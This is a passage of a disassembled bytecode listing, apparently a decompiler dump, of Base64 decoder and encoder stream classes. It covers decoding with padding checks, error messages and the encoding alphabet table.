000000A0  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000A6  move-result-object      v1
000000A8  invoke-direct           BASE64DecoderStream->recentChars()String, p0
000000AE  move-result-object      v2
000000B0  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000B6  move-result-object      v1
000000B8  invoke-virtual          StringBuilder->toString()String, v1
000000BE  move-result-object      v1
000000C0  invoke-direct           IOException-><init>(String)V, v0, v1
000000C6  throw                   v0
:C8
000000C8  move                    v3, v0
:CA
000000CA  add-int/lit8            v1, v2, 0xFFFFFFFFFFFFFFFF
000000CE  if-nez                  v1, :214
:D2
000000D2  add-int/lit8            v2, v2, 0x1
000000D6  shl-int/lit8            v1, v4, 0x6
:DA
000000DA  const/4                 v4, 0x4
000000DC  if-lt                   v2, v4, :16C
:E0
000000E0  shr-int/lit8            v1, v1, 0x8
000000E4  if-ne                   v0, v9, :F6
:E8
000000E8  add-int/lit8            v2, v5, 0x1
000000EC  and-int/lit16           v3, v1, 0xFF
000000F0  int-to-byte             v3, v3
000000F2  aput-byte               v3, p1, v2
:F6
000000F6  shr-int/lit8            v1, v1, 0x8
000000FA  and-int/lit16           v1, v1, 0xFF
000000FE  int-to-byte             v1, v1
00000100  aput-byte               v1, p1, v5
00000104  add-int/2addr           v0, v5
00000106  sub-int/2addr           v0, p2
00000108  goto                    :16
:10A
0000010A  if-ge                   v2, v9, :15C
:10E
0000010E  iget-boolean            v3, p0, BASE64DecoderStream->ignoreErrors:Z
00000112  if-nez                  v3, :15C
:116
00000116  new-instance            v0, IOException
0000011A  new-instance            v1, StringBuilder
0000011E  const-string            v3, "Error in encoded stream: needed at least 2 valid base64 characters, but only got "
00000122  invoke-direct           StringBuilder-><init>(String)V, v1, v3
00000128  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
0000012E  move-result-object      v1
00000130  const-string            v2, " before padding character (=)"
00000134  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000013A  move-result-object      v1
0000013C  invoke-direct           BASE64DecoderStream->recentChars()String, p0
00000142  move-result-object      v2
00000144  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000014A  move-result-object      v1
0000014C  invoke-virtual          StringBuilder->toString()String, v1
00000152  move-result-object      v1
00000154  invoke-direct           IOException-><init>(String)V, v0, v1
0000015A  throw                   v0
:15C
0000015C  if-nez                  v2, :168
:160
00000160  sub-int                 v0, v5, p2
00000164  goto/16                 :16
:168
00000168  move                    v3, v1
0000016A  goto                    :CA
:16C
0000016C  if-nez                  v3, :1F4
:170
00000170  invoke-direct           BASE64DecoderStream->getByte()I, p0
00000176  move-result             v4
00000178  if-ne                   v4, v7, :1B6
:17C
0000017C  iget-boolean            v4, p0, BASE64DecoderStream->ignoreErrors:Z
00000180  if-nez                  v4, :1F4
:184
00000184  new-instance            v0, IOException
00000188  new-instance            v1, StringBuilder
0000018C  const-string            v2, "Error in encoded stream: hit EOF while looking for padding characters (=)"
00000190  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000196  invoke-direct           BASE64DecoderStream->recentChars()String, p0
0000019C  move-result-object      v2
0000019E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000001A4  move-result-object      v1
000001A6  invoke-virtual          StringBuilder->toString()String, v1
000001AC  move-result-object      v1
000001AE  invoke-direct           IOException-><init>(String)V, v0, v1
000001B4  throw                   v0
:1B6
000001B6  if-eq                   v4, v8, :1F4
:1BA
000001BA  iget-boolean            v4, p0, BASE64DecoderStream->ignoreErrors:Z
000001BE  if-nez                  v4, :1F4
:1C2
000001C2  new-instance            v0, IOException
000001C6  new-instance            v1, StringBuilder
000001CA  const-string            v2, "Error in encoded stream: found valid base64 character after a padding character (=)"
000001CE  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000001D4  invoke-direct           BASE64DecoderStream->recentChars()String, p0
000001DA  move-result-object      v2
000001DC  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000001E2  move-result-object      v1
000001E4  invoke-virtual          StringBuilder->toString()String, v1
000001EA  move-result-object      v1
000001EC  invoke-direct           IOException-><init>(String)V, v0, v1
000001F2  throw                   v0
:1F4
000001F4  shl-int/lit8            v1, v1, 0x6
000001F8  add-int/lit8            v2, v2, 0x1
000001FC  goto/16                 :DA
:200
00000200  shl-int/lit8            v4, v4, 0x6
00000204  add-int/lit8            v3, v2, 0x1
00000208  or-int                  v2, v4, v6
0000020C  move                    v4, v2
0000020E  move                    v2, v3
00000210  goto/16                 :1C
:214
00000214  move                    v0, v1
00000216  goto/16                 :D2
.end method

.method public static decode([B)[B
          .registers 11
00000000  const/4                 v1, 0x2
00000002  const/4                 v2, 0x0
00000004  const/16                v9, 0x3D
00000008  array-length            v0, p0
0000000A  div-int/lit8            v0, v0, 0x4
0000000E  mul-int/lit8            v0, v0, 0x3
00000012  if-nez                  v0, :18
:16
00000016  return-object           p0
:18
00000018  array-length            v3, p0
0000001A  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFFF
0000001E  aget-byte               v3, p0, v3
00000022  if-ne                   v3, v9, :3C
:26
00000026  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
0000002A  array-length            v3, p0
0000002C  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFFE
00000030  aget-byte               v3, p0, v3
00000034  if-ne                   v3, v9, :3C
:38
00000038  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
:3C
0000003C  new-array               v5, v0, [B
00000040  array-length            v0, p0
00000042  move                    v6, v2
00000044  move                    v7, v0
:46
00000046  if-gtz                  v7, :4E
:4A
0000004A  move-object             p0, v5
0000004C  goto                    :16
:4E
0000004E  const/4                 v0, 0x3
00000050  sget-object             v3, BASE64DecoderStream->pem_convert_array:[B
00000054  add-int/lit8            v8, v2, 0x1
00000058  aget-byte               v2, p0, v2
0000005C  and-int/lit16           v2, v2, 0xFF
00000060  aget-byte               v2, v3, v2
00000064  shl-int/lit8            v2, v2, 0x6
00000068  sget-object             v3, BASE64DecoderStream->pem_convert_array:[B
0000006C  add-int/lit8            v4, v8, 0x1
00000070  aget-byte               v8, p0, v8
00000074  and-int/lit16           v8, v8, 0xFF
00000078  aget-byte               v3, v3, v8
0000007C  or-int/2addr            v2, v3
0000007E  shl-int/lit8            v2, v2, 0x6
00000082  aget-byte               v3, p0, v4
00000086  if-eq                   v3, v9, :10A
:8A
0000008A  sget-object             v8, BASE64DecoderStream->pem_convert_array:[B
0000008E  add-int/lit8            v3, v4, 0x1
00000092  aget-byte               v4, p0, v4
00000096  and-int/lit16           v4, v4, 0xFF
0000009A  aget-byte               v4, v8, v4
0000009E  or-int/2addr            v2, v4
:A0
000000A0  shl-int/lit8            v2, v2, 0x6
000000A4  aget-byte               v4, p0, v3
000000A8  if-eq                   v4, v9, :110
:AC
000000AC  sget-object             v8, BASE64DecoderStream->pem_convert_array:[B
000000B0  add-int/lit8            v4, v3, 0x1
000000B4  aget-byte               v3, p0, v3
000000B8  and-int/lit16           v3, v3, 0xFF
000000BC  aget-byte               v3, v8, v3
000000C0  or-int/2addr            v2, v3
000000C2  move                    v3, v4
:C4
000000C4  if-le                   v0, v1, :D6
:C8
000000C8  add-int/lit8            v4, v6, 0x2
000000CC  and-int/lit16           v8, v2, 0xFF
000000D0  int-to-byte             v8, v8
000000D2  aput-byte               v8, v5, v4
:D6
000000D6  shr-int/lit8            v2, v2, 0x8
000000DA  const/4                 v4, 0x1
000000DC  if-le                   v0, v4, :EE
:E0
000000E0  add-int/lit8            v4, v6, 0x1
000000E4  and-int/lit16           v8, v2, 0xFF
000000E8  int-to-byte             v8, v8
000000EA  aput-byte               v8, v5, v4
:EE
000000EE  shr-int/lit8            v2, v2, 0x8
000000F2  and-int/lit16           v2, v2, 0xFF
000000F6  int-to-byte             v2, v2
000000F8  aput-byte               v2, v5, v6
000000FC  add-int/2addr           v0, v6
000000FE  add-int/lit8            v2, v7, 0xFFFFFFFFFFFFFFFC
00000102  move                    v6, v0
00000104  move                    v7, v2
00000106  move                    v2, v3
00000108  goto                    :46
:10A
0000010A  move                    v0, v1
0000010C  move                    v3, v4
0000010E  goto                    :A0
:110
00000110  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000114  goto                    :C4
.end method

.method private getByte()I
          .registers 5
00000000  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:2
00000002  iget                    v1, p0, BASE64DecoderStream->input_pos:I
00000006  iget                    v2, p0, BASE64DecoderStream->input_len:I
0000000A  if-lt                   v1, v2, :32
:E
0000000E  iget-object             v1, p0, BASE64DecoderStream->in:InputStream
00000012  iget-object             v2, p0, BASE64DecoderStream->input_buffer:[B
00000016  invoke-virtual          InputStream->read([B)I, v1, v2
0000001C  move-result             v1
0000001E  iput                    v1, p0, BASE64DecoderStream->input_len:I
:22
00000022  iget                    v1, p0, BASE64DecoderStream->input_len:I
00000026  if-gtz                  v1, :2C
:2A
0000002A  return                  v0
:2C
0000002C  const/4                 v1, 0x0
0000002E  iput                    v1, p0, BASE64DecoderStream->input_pos:I
:32
00000032  iget-object             v1, p0, BASE64DecoderStream->input_buffer:[B
00000036  iget                    v2, p0, BASE64DecoderStream->input_pos:I
0000003A  add-int/lit8            v3, v2, 0x1
0000003E  iput                    v3, p0, BASE64DecoderStream->input_pos:I
00000042  aget-byte               v1, v1, v2
00000046  and-int/lit16           v1, v1, 0xFF
0000004A  const/16                v2, 0x3D
0000004E  if-ne                   v1, v2, :56
:52
00000052  const/4                 v0, 0xFFFFFFFFFFFFFFFE
00000054  goto                    :2A
:56
00000056  sget-object             v2, BASE64DecoderStream->pem_convert_array:[B
0000005A  aget-byte               v1, v2, v1
0000005E  if-eq                   v1, v0, :2
:62
00000062  move                    v0, v1
00000064  goto                    :2A
:66
00000066  move-exception          v1
00000068  goto                    :2A
          .catch EOFException {:E .. :22} :66
.end method

.method private recentChars()String
          .registers 5
00000000  const/16                v1, 0xA
00000004  const-string            v0, ""
00000008  iget                    v2, p0, BASE64DecoderStream->input_pos:I
0000000C  if-le                   v2, v1, :86
:10
00000010  move                    v2, v1
:12
00000012  if-lez                  v2, :84
:16
00000016  new-instance            v1, StringBuilder
0000001A  invoke-static           String->valueOf(Object)String, v0
00000020  move-result-object      v0
00000022  invoke-direct           StringBuilder-><init>(String)V, v1, v0
00000028  const-string            v0, ", the "
0000002C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
00000032  move-result-object      v0
00000034  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, v2
0000003A  move-result-object      v0
0000003C  const-string            v1, " most recent characters were: \""
00000040  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000046  move-result-object      v0
00000048  invoke-virtual          StringBuilder->toString()String, v0
0000004E  move-result-object      v1
00000050  iget                    v0, p0, BASE64DecoderStream->input_pos:I
00000054  sub-int/2addr           v0, v2
:56
00000056  iget                    v2, p0, BASE64DecoderStream->input_pos:I
0000005A  if-lt                   v0, v2, :8E
:5E
0000005E  new-instance            v0, StringBuilder
00000062  invoke-static           String->valueOf(Object)String, v1
00000068  move-result-object      v1
0000006A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000070  const-string            v1, "\""
00000074  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000007A  move-result-object      v0
0000007C  invoke-virtual          StringBuilder->toString()String, v0
00000082  move-result-object      v0
:84
00000084  return-object           v0
:86
00000086  iget                    v1, p0, BASE64DecoderStream->input_pos:I
0000008A  move                    v2, v1
0000008C  goto                    :12
:8E
0000008E  iget-object             v2, p0, BASE64DecoderStream->input_buffer:[B
00000092  aget-byte               v2, v2, v0
00000096  and-int/lit16           v2, v2, 0xFF
0000009A  int-to-char             v2, v2
0000009C  packed-switch           v2, :184
:A2
000000A2  const/16                v3, 0x20
000000A6  if-lt                   v2, v3, :152
:AA
000000AA  const/16                v3, 0x7F
000000AE  if-ge                   v2, v3, :152
:B2
000000B2  new-instance            v3, StringBuilder
000000B6  invoke-static           String->valueOf(Object)String, v1
000000BC  move-result-object      v1
000000BE  invoke-direct           StringBuilder-><init>(String)V, v3, v1
000000C4  invoke-virtual          StringBuilder->append(C)StringBuilder, v3, v2
000000CA  move-result-object      v1
000000CC  invoke-virtual          StringBuilder->toString()String, v1
000000D2  move-result-object      v1
:D4
000000D4  add-int/lit8            v0, v0, 0x1
000000D8  goto                    :56
:DA
000000DA  new-instance            v2, StringBuilder
000000DE  invoke-static           String->valueOf(Object)String, v1
000000E4  move-result-object      v1
000000E6  invoke-direct           StringBuilder-><init>(String)V, v2, v1
000000EC  const-string            v1, "\\r"
000000F0  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000000F6  move-result-object      v1
000000F8  invoke-virtual          StringBuilder->toString()String, v1
000000FE  move-result-object      v1
00000100  goto                    :D4
:102
00000102  new-instance            v2, StringBuilder
00000106  invoke-static           String->valueOf(Object)String, v1
0000010C  move-result-object      v1
0000010E  invoke-direct           StringBuilder-><init>(String)V, v2, v1
00000114  const-string            v1, "\\n"
00000118  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
0000011E  move-result-object      v1
00000120  invoke-virtual          StringBuilder->toString()String, v1
00000126  move-result-object      v1
00000128  goto                    :D4
:12A
0000012A  new-instance            v2, StringBuilder
0000012E  invoke-static           String->valueOf(Object)String, v1
00000134  move-result-object      v1
00000136  invoke-direct           StringBuilder-><init>(String)V, v2, v1
0000013C  const-string            v1, "\\t"
00000140  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000146  move-result-object      v1
00000148  invoke-virtual          StringBuilder->toString()String, v1
0000014E  move-result-object      v1
00000150  goto                    :D4
:152
00000152  new-instance            v3, StringBuilder
00000156  invoke-static           String->valueOf(Object)String, v1
0000015C  move-result-object      v1
0000015E  invoke-direct           StringBuilder-><init>(String)V, v3, v1
00000164  const-string            v1, "\\"
00000168  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v1
0000016E  move-result-object      v1
00000170  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
00000176  move-result-object      v1
00000178  invoke-virtual          StringBuilder->toString()String, v1
0000017E  move-result-object      v1
00000180  goto                    :D4
00000184  .packed-switch 0x9
              :12A
              :102
              :A2
              :A2
              :DA
          .end packed-switch
.end method

.method public available()I
          .registers 4
00000000  iget-object             v0, p0, BASE64DecoderStream->in:InputStream
00000004  invoke-virtual          InputStream->available()I, v0
0000000A  move-result             v0
0000000C  mul-int/lit8            v0, v0, 0x3
00000010  div-int/lit8            v0, v0, 0x4
00000014  iget                    v1, p0, BASE64DecoderStream->bufsize:I
00000018  iget                    v2, p0, BASE64DecoderStream->index:I
0000001C  sub-int/2addr           v1, v2
0000001E  add-int/2addr           v0, v1
00000020  return                  v0
.end method

.method public markSupported()Z
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public read()I
          .registers 4
00000000  const/4                 v2, 0x0
00000002  iget                    v0, p0, BASE64DecoderStream->index:I
00000006  iget                    v1, p0, BASE64DecoderStream->bufsize:I
0000000A  if-lt                   v0, v1, :34
:E
0000000E  iget-object             v0, p0, BASE64DecoderStream->buffer:[B
00000012  iget-object             v1, p0, BASE64DecoderStream->buffer:[B
00000016  array-length            v1, v1
00000018  invoke-direct           BASE64DecoderStream->decode([B, I, I)I, p0, v0, v2, v1
0000001E  move-result             v0
00000020  iput                    v0, p0, BASE64DecoderStream->bufsize:I
00000024  iget                    v0, p0, BASE64DecoderStream->bufsize:I
00000028  if-gtz                  v0, :30
:2C
0000002C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:2E
0000002E  return                  v0
:30
00000030  iput                    v2, p0, BASE64DecoderStream->index:I
:34
00000034  iget-object             v0, p0, BASE64DecoderStream->buffer:[B
00000038  iget                    v1, p0, BASE64DecoderStream->index:I
0000003C  add-int/lit8            v2, v1, 0x1
00000040  iput                    v2, p0, BASE64DecoderStream->index:I
00000044  aget-byte               v0, v0, v1
00000048  and-int/lit16           v0, v0, 0xFF
0000004C  goto                    :2E
.end method

.method public read([B, I, I)I
          .registers 10
00000000  const/4                 v2, 0xFFFFFFFFFFFFFFFF
00000002  move                    v0, p2
:4
00000004  iget                    v1, p0, BASE64DecoderStream->index:I
00000008  iget                    v3, p0, BASE64DecoderStream->bufsize:I
0000000C  if-ge                   v1, v3, :14
:10
00000010  if-gtz                  p3, :4E
:14
00000014  iget                    v1, p0, BASE64DecoderStream->index:I
00000018  iget                    v3, p0, BASE64DecoderStream->bufsize:I
0000001C  if-lt                   v1, v3, :2A
:20
00000020  const/4                 v1, 0x0
00000022  iput                    v1, p0, BASE64DecoderStream->index:I
00000026  iput                    v1, p0, BASE64DecoderStream->bufsize:I
:2A
0000002A  div-int/lit8            v1, p3, 0x3
0000002E  mul-int/lit8            v1, v1, 0x3
00000032  if-lez                  v1, :9A
:36
00000036  invoke-direct           BASE64DecoderStream->decode([B, I, I)I, p0, p1, v0, v1
0000003C  move-result             v3
0000003E  add-int/2addr           v0, v3
00000040  sub-int/2addr           p3, v3
00000042  if-eq                   v3, v1, :9A
:46
00000046  if-ne                   v0, p2, :72
:4A
0000004A  move                    v0, v2
:4C
0000004C  return                  v0
:4E
0000004E  add-int/lit8            v1, v0, 0x1
00000052  iget-object             v3, p0, BASE64DecoderStream->buffer:[B
00000056  iget                    v4, p0, BASE64DecoderStream->index:I
0000005A  add-int/lit8            v5, v4, 0x1
0000005E  iput                    v5, p0, BASE64DecoderStream->index:I
00000062  aget-byte               v3, v3, v4
00000066  aput-byte               v3, p1, v0
0000006A  add-int/lit8            p3, p3, 0xFFFFFFFFFFFFFFFF
0000006E  move                    v0, v1
00000070  goto                    :4
:72
00000072  sub-int/2addr           v0, p2
00000074  goto                    :4C
:76
00000076  invoke-virtual          BASE64DecoderStream->read()I, p0
0000007C  move-result             v3
0000007E  if-ne                   v3, v2, :8A
:82
00000082  if-ne                   v0, p2, :A0
:86
00000086  move                    v0, v2
00000088  goto                    :4C
:8A
0000008A  add-int/lit8            v1, v0, 0x1
0000008E  int-to-byte             v3, v3
00000090  aput-byte               v3, p1, v0
00000094  add-int/lit8            p3, p3, 0xFFFFFFFFFFFFFFFF
00000098  move                    v0, v1
:9A
0000009A  if-gtz                  p3, :76
:9E
0000009E  goto                    :82
:A0
000000A0  sub-int/2addr           v0, p2
000000A2  goto                    :4C
.end method

#--------------------------------------------------------------------------------
.class public BASE64EncoderStream
.super FilterOutputStream
.source ""

.field private static newline:[B
.field private static final pem_array:[C
.field private buffer:[B
.field private bufsize:I
.field private bytesPerLine:I
.field private count:I
.field private lineLimit:I
.field private noCRLF:Z
.field private outbuf:[B

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x2
00000002  new-array               v0, v0, [B
00000006  fill-array-data         v0, :24
0000000C  sput-object             v0, BASE64EncoderStream->newline:[B
00000010  const/16                v0, 0x40
00000014  new-array               v0, v0, [C
00000018  fill-array-data         v0, :30
0000001E  sput-object             v0, BASE64EncoderStream->pem_array:[C
00000022  return-void
00000024  .array-data 1 x 0x2
              0xD
              0xA
          .end array-data
00000030  .array-data 2 x 0x40
              0x41
              0x42
              0x43
              0x44
              0x45
              0x46
              0x47
              0x48
              0x49
              0x4A
              0x4B
              0x4C
              0x4D
              0x4E
              0x4F
              0x50
              0x51
              0x52
              0x53
              0x54
              0x55
              0x56
              0x57
              0x58
              0x59
              0x5A
              0x61
              0x62
              0x63
              0x64
              0x65
              0x66
              0x67
              0x68
              0x69
              0x6A
              0x6B
              0x6C
              0x6D
              0x6E
              0x6F
              0x70
              0x71
              0x72
              0x73
              0x74
              0x75
              0x76
              0x77
              0x78
              0x79
              0x7A
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x2B
              0x2F
          .end array-data
.end method

.method public constructor <init>(OutputStream)V
          .registers 3
00000000  const/16                v0, 0x4C
00000004  invoke-direct           BASE64EncoderStream-><init>(OutputStream, I)V, p0, p1, v0
0000000A  return-void
.end method

.method public constructor <init>(OutputStream, I)V
          .registers 6
00000000  const/4                 v0, 0x0
00000002  invoke-direct           FilterOutputStream-><init>(OutputStream)V, p0, p1
00000008  iput                    v0, p0, BASE64EncoderStream->bufsize:I
0000000C  iput                    v0, p0, BASE64EncoderStream->count:I
00000010  iput-boolean            v0, p0, BASE64EncoderStream->noCRLF:Z
00000014  const/4                 v0, 0x3
00000016  new-array               v0, v0, [B
0000001A  iput-object             v0, p0, BASE64EncoderStream->buffer:[B
0000001E  const                   v0, 0x7FFFFFFF
00000024  if-eq                   p2, v0, :2E
:28
00000028  const/4                 v0, 0x4
0000002A  if-ge                   p2, v0, :38
:2E
0000002E  const/4                 v0, 0x1
00000030  iput-boolean            v0, p0, BASE64EncoderStream->noCRLF:Z
00000034  const/16                p2, 0x4C
:38
00000038  div-int/lit8            v0, p2, 0x4
0000003C  mul-int/lit8            v0, v0, 0x4
00000040  iput                    v0, p0, BASE64EncoderStream->bytesPerLine:I
00000044  div-int/lit8            v1, v0, 0x4
00000048  mul-int/lit8            v1, v1, 0x3
0000004C  iput                    v1, p0, BASE64EncoderStream->lineLimit:I
00000050  iget-boolean            v1, p0, BASE64EncoderStream->noCRLF:Z
00000054  if-eqz                  v1, :62
:58
00000058  new-array               v0, v0, [B
0000005C  iput-object             v0, p0, BASE64EncoderStream->outbuf:[B
:60
00000060  return-void
:62
00000062  add-int/lit8            v1, v0, 0x2
00000066  new-array               v1, v1, [B
0000006A  iput-object             v1, p0, BASE64EncoderStream->outbuf:[B
0000006E  iget-object             v1, p0, BASE64EncoderStream->outbuf:[B
00000072  const/16                v2, 0xD
00000076  aput-byte               v2, v1, v0
0000007A  iget-object             v1, p0, BASE64EncoderStream->outbuf:[B
0000007E  add-int/lit8            v0, v0, 0x1
00000082  const/16                v2, 0xA
00000086  aput-byte               v2, v1, v0
0000008A  goto                    :60
.end method

.method private encode()V
          .registers 7
00000000  const/4                 v5, 0x0
00000002  iget                    v0, p0, BASE64EncoderStream->bufsize:I
00000006  invoke-static           BASE64EncoderStream->encodedSize(I)I, v0
0000000C  move-result             v0
0000000E  iget-object             v1, p0, BASE64EncoderStream->out:OutputStream
00000012  iget-object             v2, p0, BASE64EncoderStream->buffer:[B
00000016  iget                    v3, p0, BASE64EncoderStream->bufsize:I
0000001A  iget-object             v4, p0, BASE64EncoderStream->outbuf:[B
0000001E  invoke-static           BASE64EncoderStream->encode([B, I, I, [B)[B, v2, v5, v3, v4
00000024  move-result-object      v2
00000026  invoke-virtual          OutputStream->write([B, I, I)V, v1, v2, v5, v0
0000002C  iget                    v1, p0, BASE64EncoderStream->count:I
00000030  add-int/2addr           v0, v1
00000032  iput                    v0, p0, BASE64EncoderStream->count:I
00000036  iget                    v0, p0, BASE64EncoderStream->count:I
0000003A  iget                    v1, p0, BASE64EncoderStream->bytesPerLine:I
0000003E  if-lt                   v0, v1, :5C
:42
00000042  iget-boolean            v0, p0, BASE64EncoderStream->noCRLF:Z
00000046  if-nez                  v0, :58
:4A
0000004A  iget-object             v0, p0, BASE64EncoderStream->out:OutputStream
0000004E  sget-object             v1, BASE64EncoderStream->newline:[B
00000052  invoke-virtual          OutputStream->write([B)V, v0, v1
:58
00000058  iput                    v5, p0, BASE64EncoderStream->count:I
:5C
0000005C  return-void
.end method

.method public static encode([B)[B
          .registers 4
00000000  array-length            v0, p0
00000002  if-nez                  v0, :8
:6
00000006  return-object           p0
:8
00000008  const/4                 v0, 0x0
0000000A  array-length            v1, p0
0000000C  const/4                 v2, 0x0
0000000E  invoke-static           BASE64EncoderStream->encode([B, I, I, [B)[B, p0, v0, v1, v2
00000014  move-result-object      p0
00000016  goto                    :6
.end method

.method private static encode([B, I, I, [B)[B
          .registers 10
00000000  const/16                v5, 0x3D
00000004  if-nez                  p3, :14
:8
00000008  invoke-static           BASE64EncoderStream->encodedSize(I)I, p2
0000000E  move-result             v0
00000010  new-array               p3, v0, [B
:14
00000014  const/4                 v0, 0x0
:16
00000016  const/4                 v1, 0x3
00000018  if-ge                   p2, v1, :74
:1C
0000001C  const/4                 v1, 0x1
0000001E  if-ne                   p2, v1, :112
:22
00000022  add-int/lit8            v1, p1, 0x1
00000026  aget-byte               v1, p0, p1
0000002A  and-int/lit16           v1, v1, 0xFF
0000002E  shl-int/lit8            v1, v1, 0x4
00000032  add-int/lit8            v2, v0, 0x3
00000036  aput-byte               v5, p3, v2
0000003A  add-int/lit8            v2, v0, 0x2
0000003E  aput-byte               v5, p3, v2
00000042  add-int/lit8            v2, v0, 0x1
00000046  sget-object             v3, BASE64EncoderStream->pem_array:[C
0000004A  and-int/lit8            v4, v1, 0x3F
0000004E  aget-char               v3, v3, v4
00000052  int-to-byte             v3, v3
00000054  aput-byte               v3, p3, v2
00000058  shr-int/lit8            v1, v1, 0x6
0000005C  add-int/lit8            v0, v0, 0x0
00000060  sget-object             v2, BASE64EncoderStream->pem_array:[C
00000064  and-int/lit8            v1, v1, 0x3F
00000068  aget-char               v1, v2, v1
0000006C  int-to-byte             v1, v1
0000006E  aput-byte               v1, p3, v0
:72
00000072  return-object           p3
:74
00000074  add-int/lit8            v1, p1, 0x1
00000078  aget-byte               v2, p0, p1
0000007C  and-int/lit16           v2, v2, 0xFF
00000080  shl-int/lit8            v2, v2, 0x8
00000084  add-int/lit8            v3, v1, 0x1
00000088  aget-byte               v1, p0, v1
0000008C  and-int/lit16           v1, v1, 0xFF
00000090  or-int/2addr            v1, v2
00000092  shl-int/lit8            v1, v1, 0x8
00000096  add-int/lit8            p1, v3, 0x1
0000009A  aget-byte               v2, p0, v3
0000009E  and-int/lit16           v2, v2, 0xFF
000000A2  or-int/2addr            v1, v2
000000A4  add-int/lit8            v2, v0, 0x3
000000A8  sget-object             v3, BASE64EncoderStream->pem_array:[C
000000AC  and-int/lit8            v4, v1, 0x3F
000000B0  aget-char               v3, v3, v4
000000B4  int-to-byte             v3, v3
000000B6  aput-byte               v3, p3, v2
000000BA  shr-int/lit8            v1, v1, 0x6
000000BE  add-int/lit8            v2, v0, 0x2
000000C2  sget-object             v3, BASE64EncoderStream->pem_array:[C
000000C6  and-int/lit8            v4, v1, 0x3F
000000CA  aget-char               v3, v3, v4
000000CE  int-to-byte             v3, v3
000000D0  aput-byte               v3, p3, v2
000000D4  shr-int/lit8            v1, v1, 0x6
000000D8  add-int/lit8            v2, v0, 0x1
000000DC  sget-object             v3, BASE64EncoderStream->pem_array:[C
000000E0  and-int/lit8            v4, v1, 0x3F
000000E4  aget-char               v3, v3, v4
000000E8  int-to-byte             v3, v3
000000EA  aput-byte               v3, p3, v2
000000EE  shr-int/lit8            v1, v1, 0x6
000000F2  add-int/lit8            v2, v0, 0x0
000000F6  sget-object             v3, BASE64EncoderStream->pem_array:[C
000000FA  and-int/lit8            v1, v1, 0x3F
000000FE  aget-char               v1, v3, v1
00000102  int-to-byte             v1, v1
00000104  aput-byte               v1, p3, v2
00000108  add-int/lit8            p2, p2, 0xFFFFFFFFFFFFFFFD
0000010C  add-int/lit8            v0, v0, 0x4
00000110  goto                    :16
:112
00000112  const/4                 v1, 0x2
00000114  if-ne                   p2, v1, :72
:118
00000118  add-int/lit8            v1, p1, 0x1
0000011C  aget-byte               v2, p0, p1
00000120  and-int/lit16           v2, v2, 0xFF
00000124  shl-int/lit8            v2, v2, 0x8
00000128  add-int/lit8            v3, v1, 0x1
0000012C  aget-byte               v1, p0, v1
00000130  and-int/lit16           v1, v1, 0xFF
00000134  or-int/2addr            v1, v2
00000136  shl-int/lit8            v1, v1, 0x2
0000013A  add-int/lit8            v2, v0, 0x3
0000013E  aput-byte               v5, p3, v2
00000142  add-int/lit8            v2, v0, 0x2
00000146  sget-object             v3, BASE64EncoderStream->pem_array:[C
0000014A  and-int/lit8            v4, v1, 0x3F
0000014E  aget-char               v3, v3, v4
00000152  int-to-byte             v3, v3
00000154  aput-byte               v3, p3, v2
00000158  shr-int/lit8            v1, v1, 0x6
0000015C  add-int/lit8            v2, v0, 0x1
00000160  sget-object             v3, BASE64EncoderStream->pem_array:[C
00000164  and-int/lit8            v4, v1, 0x3F
00000168  aget-char               v3, v3, v4
0000016C  int-to-byte             v3, v3
0000016E  aput-byte               v3, p3, v2
00000172  shr-int/lit8            v1, v1, 0x6
00000176  add-int/lit8            v0, v0, 0x0
0000017A  sget-object             v2, BASE64EncoderStream->pem_array:[C
0000017E  and-int/lit8            v1, v1, 0x3F
00000182  aget-char               v1, v2, v1
00000186  int-to-byte             v1, v1
00000188  aput-byte               v1, p3, v0
0000018C  goto/16                 :72
.end method

.method private static encodedSize(I)I
          .registers 2
00000000  add-int/lit8            v0, p0, 0x2
00000004  div-int/lit8            v0, v0, 0x3
00000008  mul-int/lit8            v0, v0, 0x4
0000000C  return                  v0
.end method

.method public declared-synchronized close()V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          BASE64EncoderStream->flush()V, p0
00000008  iget                    v0, p0, BASE64EncoderStream->count:I
0000000C  if-lez                  v0, :30
:10
00000010  iget-boolean            v0, p0, BASE64EncoderStream->noCRLF:Z
00000014  if-nez                  v0, :30
:18
00000018  iget-object             v0, p0, BASE64EncoderStream->out:OutputStream
0000001C  sget-object             v1, BASE64EncoderStream->newline:[B
00000020  invoke-virtual          OutputStream->write([B)V, v0, v1
00000026  iget-object             v0, p0, BASE64EncoderStream->out:OutputStream
0000002A  invoke-virtual          OutputStream->flush()V, v0
:30
00000030  iget-object             v0, p0, BASE64EncoderStream->out:OutputStream
00000034  invoke-virtual          OutputStream->close()V, v0
:3A
0000003A  monitor-exit            p0
0000003C  return-void
:3E
0000003E  move-exception          v0
00000040  monitor-exit            p0
00000042  throw                   v0
